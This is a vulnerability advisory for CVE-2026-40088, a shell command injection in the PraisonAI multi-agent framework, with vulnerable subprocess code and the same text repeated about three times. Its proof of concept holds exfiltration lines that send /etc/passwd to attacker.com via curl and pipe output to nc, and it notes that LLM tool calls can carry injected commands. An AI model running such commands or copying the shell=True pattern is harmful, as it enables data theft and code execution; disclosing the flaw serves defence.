CVE-2026-40088

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.

---

Description

PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:

1. YAML workflow step definitions
2. Agent configuration files (agents.yaml)
3. LLM-generated tool call parameters
4. Recipe step configurations

The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.

---

Affected Code

Primary command execution (shell=True default):

# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
    if shell:
        result = subprocess.run(
            command,  # User-controlled input
            shell=True,  # Shell interprets metacharacters
            cwd=work_dir,
            capture_output=capture_output,
            timeout=timeout,
            env=cmd_env,
            text=True,
        )

Workflow shell step execution:

# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
    """Execute a shell command from workflow step."""
    cwd = step.get("cwd", self._cwd)
    env = self._build_env(step)
    result = subprocess.run(
        cmd,  # From YAML workflow definition
        shell=True,  # Vulnerable to injection
        cwd=cwd,
        env=env,
        capture_output=True,
        text=True,
        timeout=step.get("timeout", 300),
    )

Action orchestrator shell execution:

# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
    result = subprocess.run(
        step.target,  # User-controlled from action plan
        shell=True,
        capture_output=True,
        text=True,
        cwd=str(workspace),
        timeout=30
    )

---

Input Paths to Vulnerable Code

Path 1: YAML Workflow Definition

Users define workflows in YAML files that are parsed and executed:

# workflow.yaml
steps:
  - type: shell
    target: "echo starting"
    cwd: "/tmp"

The target field is passed directly to _exec_shell() without sanitization.

Path 2: Agent Configuration

Agent definitions in agents.yaml can specify shell commands:

# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
  analyzer:
    role: Data Analyzer
    goal: Process data files
    backstory: Expert in data processing
    tasks:
      - description: "Run analysis script"
        expected_output: "Analysis complete"
        shell_command: "python analyze.py --input data.csv"

Path 3: Recipe Step Configuration

Recipe YAML files can contain shell command steps that get executed when the recipe runs.

Path 4: LLM-Generated Tool Calls

When using agent mode, the LLM can generate tool calls including shell commands:

# LLM generates this tool call
{
    "tool": "execute_command",
    "parameters": {
        "command": "ls -la /tmp",  # LLM-generated, could contain injection
        "shell": True
    }
}

---

Proof of Concept

PoC 1: YAML Workflow Injection

Malicious workflow file:

# malicious-workflow.yaml
steps:
  - type: shell
    target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
    cwd: "/tmp"
  
  - type: shell
    target: "cat /tmp/output.txt | nc attacker.com 9999"

Execution:

praisonai workflow run malicious-workflow.yaml

Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.

---

PoC 2: Agent Configuration Injection

**Malicious…

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.

The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.

---

Description

PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:

1. YAML workflow step definitions
2. Agent configuration files (agents.yaml)
3. LLM-generated tool call parameters
4. Recipe step configurations

The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.

---

Affected Code

Primary command execution (shell=True default):

# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
    if shell:
        result = subprocess.run(
            command,  # User-controlled input
            shell=True,  # Shell interprets metacharacters
            cwd=work_dir,
            capture_output=capture_output,
            timeout=timeout,
            env=cmd_env,
            text=True,
        )

Workflow shell step execution:

# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
    """Execute a shell command from workflow step."""
    cwd = step.get("cwd", self._cwd)
    env = self._build_env(step)
    result = subprocess.run(
        cmd,  # From YAML workflow definition
        shell=True,  # Vulnerable to injection
        cwd=cwd,
        env=env,
        capture_output=True,
        text=True,
        timeout=step.get("timeout", 300),
    )

Action orchestrator shell execution:

# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
    result = subprocess.run(
        step.target,  # User-controlled from action plan
        shell=True,
        capture_output=True,
        text=True,
        cwd=str(workspace),
        timeout=30
    )

---

Input Paths to Vulnerable Code

Path 1: YAML Workflow Definition

Users define workflows in YAML files that are parsed and executed:

# workflow.yaml
steps:
  - type: shell
    target: "echo starting"
    cwd: "/tmp"

The target field is passed directly to _exec_shell() without sanitization.

Path 2: Agent Configuration

Agent definitions in agents.yaml can specify shell commands:

# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
  analyzer:
    role: Data Analyzer
    goal: Process data files
    backstory: Expert in data processing
    tasks:
      - description: "Run analysis script"
        expected_output: "Analysis complete"
        shell_command: "python analyze.py --input data.csv"

Path 3: Recipe Step Configuration

Recipe YAML files can contain shell command steps that get executed when the recipe runs.

Path 4: LLM-Generated Tool Calls

When using agent mode, the LLM can generate tool calls including shell commands:

# LLM generates this tool call
{
    "tool": "execute_command",
    "parameters": {
        "command": "ls -la /tmp",  # LLM-generated, could contain injection
        "shell": True
    }
}

---

Proof of Concept

PoC 1: YAML Workflow Injection

Malicious workflow file:

# malicious-workflow.yaml
steps:
  - type: shell
    target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
    cwd: "/tmp"
  
  - type: shell
    target: "cat /tmp/output.txt | nc attacker.com 9999"

Execution:

praisonai workflow run malicious-workflow.yaml

Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.

---

PoC 2: Agent Configuration Injection

**Malicious…

The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.

---

Description

PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:

1. YAML workflow step definitions
2. Agent configuration files (agents.yaml)
3. LLM-generated tool call parameters
4. Recipe step configurations

The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.

---

Affected Code

Primary command execution (shell=True default):

# code/tools/execute_command.py:155-164
 def execute_command(command: str, shell: bool = True, ...):
    if shell:
        result = subprocess.run(
            command,  # User-controlled input
            shell=True,  # Shell interprets metacharacters
            cwd=work_dir,
            capture_output=capture_output,
            timeout=timeout,
            env=cmd_env,
            text=True,
        )

Workflow shell step execution:

# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
    """Execute a shell command from workflow step."""
    cwd = step.get("cwd", self._cwd)
    env = self._build_env(step)
    result = subprocess.run(
        cmd,  # From YAML workflow definition
        shell=True,  # Vulnerable to injection
        cwd=cwd,
        env=env,
        capture_output=True,
        text=True,
        timeout=step.get("timeout", 300),
    )

Action orchestrator shell execution:

# cli/features/action_orchestrator.py:445-460
 elif step.action_type == ActionType.SHELL_COMMAND:
    result = subprocess.run(
        step.target,  # User-controlled from action plan
        shell=True,
        capture_output=True,
        text=True,
        cwd=str(workspace),
        timeout=30
    )

---

Input Paths to Vulnerable Code

Path 1: YAML Workflow Definition

Users define workflows in YAML files that are parsed and executed:

# workflow.yaml
steps:
  - type: shell
    target: "echo starting"
    cwd: "/tmp"

The target field is passed directly to _exec_shell() without sanitization.

Path 2: Agent Configuration

Agent definitions in agents.yaml can specify shell commands:

# agents.yaml
 framework: praisonai
topic: Automated Analysis
roles:
  analyzer:
    role: Data Analyzer
    goal: Process data files
    backstory: Expert in data processing
    tasks:
      - description: "Run analysis script"
        expected_output: "Analysis complete"
        shell_command: "python analyze.py --input data.csv"

Path 3: Recipe Step Configuration

Recipe YAML files can contain shell command steps that get executed when the recipe runs.

Path 4: LLM-Generated Tool Calls

When using agent mode, the LLM can generate tool calls including shell commands:

# LLM generates this tool call
{
    "tool": "execute_command",
    "parameters": {
        "command": "ls -la /tmp",  # LLM-generated, could contain injection
        "shell": True
    }
}

---

Proof of Concept

PoC 1: YAML Workflow Injection

Malicious workflow file:

# malicious-workflow.yaml
steps:
  - type: shell
    target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
    cwd: "/tmp"
  
  - type: shell
    target: "cat /tmp/output.txt | nc attacker.com 9999"

Execution:

praisonai workflow run malicious-workflow.yaml

Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.

---

PoC 2: Agent Configuration Injection

…